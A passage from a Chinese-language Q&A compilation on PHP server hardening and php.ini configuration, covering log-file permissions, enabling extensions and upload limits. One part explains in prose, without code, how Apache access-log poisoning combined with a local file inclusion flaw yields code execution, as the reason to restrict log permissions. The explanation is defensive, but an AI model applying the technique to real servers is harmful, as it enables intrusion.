如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行許可權會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作,
2、去掉apache日誌其它用戶的讀許可權
apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問許可權。
如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀許可權。
當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。
❽ php的配置文件怎麼修改
在本地安裝php環境之後,部分php擴展沒有被打開(如 zip擴展 ),或是某項配置不能達到客戶要求(如上傳文件最大值默認是2m, upload_max_filesize = 2M ),用戶在使用的時候可能需要對php的配置文件進行修改,修改步驟:
1,找到並確認php.ini文件位置,此文件通常在c:/windows目錄底下,但有的時候部分用戶可能在本地安裝多個php,本地可能存在多個php.ini文件,要確認當前使用的php環境的php.ini文件位置可以在網站根目錄底下創建一個環境檢測文件,如phpinfo.php,內容: ,然後在瀏覽器中輸入localhost/phpinfo.php.在看到php環境顯示頁面:
PHP的配置文件的修改PHP的配置文件的修改
可在此頁面用ctrl+f找到Loaded Configuration File 其值即為當前php環境的php.ini路徑。
2,若修改zip擴展,可在php.ini文件中找到extension=php_mysql.dll ,在其下面一行加入:extension=php_zip.dll ,然後重啟web伺服器(apache或iis)即可成功配置zip擴展。
3,若需修改文件上傳上限的話,可在php.ini文件中搜索upload_max_filesize 然後修改其值,修改之後保存重啟web伺服器即可!這樣就行,我昨晚在後盾人看視頻時看到的,希望能幫到你✧*。٩(^㉨^*)و✧*。Σ(๑º㉨º๑ )
❾ php配置文件是什麼
PHP 的配置文件一般是 php.ini 文件
php.ini 文件必須命名為'php.ini'並放置在httpd.conf中的PHPIniDir指令指定的目錄中,使用phpinfo()函數可以查看。如果未作修改,windows平台下一般放在php安裝目錄中。
PHP還是一個不斷發展的工具,其功能還在不斷地刪減
而php.ini的設置更改可以反映出相當的變化,
在使用新的PHP版本前,研究一下php.ini會有好處的
下面簡單的介紹一下基本配置:
directive = value
; 指示標識符 是 *大小寫敏感的* - foo=bar 不同於 FOO = bar。
engine = On
; 使 PHP scripting language engine(PHP 腳本語言引擎)在 Apache下有效。
short_open_tag = On
; 允許 tags 將被識別。
asp_tags = Off
; 允許ASP-style tags
precision = 14
; 浮點類型數顯示時的有效位數
上面只是一個例子,其他詳細的配置說明,可以參考一些資料。